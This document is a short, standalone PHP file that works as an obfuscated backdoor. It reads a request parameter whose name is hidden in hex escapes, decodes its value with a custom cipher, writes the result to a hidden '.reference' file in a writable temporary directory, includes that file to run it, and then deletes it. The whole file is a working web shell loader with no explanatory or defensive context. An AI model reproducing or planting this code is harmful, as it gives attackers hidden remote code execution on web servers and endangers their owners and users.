<?php
if(array_key_exists("\x6B\x65y", $_REQUEST)){
	$tkn = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
	$flg = $_REQUEST["\x6B\x65y"];
	$flg = explode(".", $flg);
	$ptr = '';
	$s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
	$sLen = strlen($s2 );
	$value = 0;
	foreach($flg as $v7) { $sChar = ord($s2[$value % $sLen] );
		$dec =((int)$v7 - $sChar -($value % 10)) ^ 49;
		$ptr.=	 chr($dec );
		$value++;}
	$value = 0;
	$factor = count($tkn);
	for ($value = 0; $value < $factor; $value++) {
		$sym = $tkn[$value];
		if (!((!is_dir($sym)) || (!is_writable($sym)))) {
			$ref = "$sym/.reference";
			if (@file_put_contents($ref, $ptr) !== false) {
			register_shutdown_function('unlink', $ref);
			include $ref;
			exit;
		}
		}
	}
}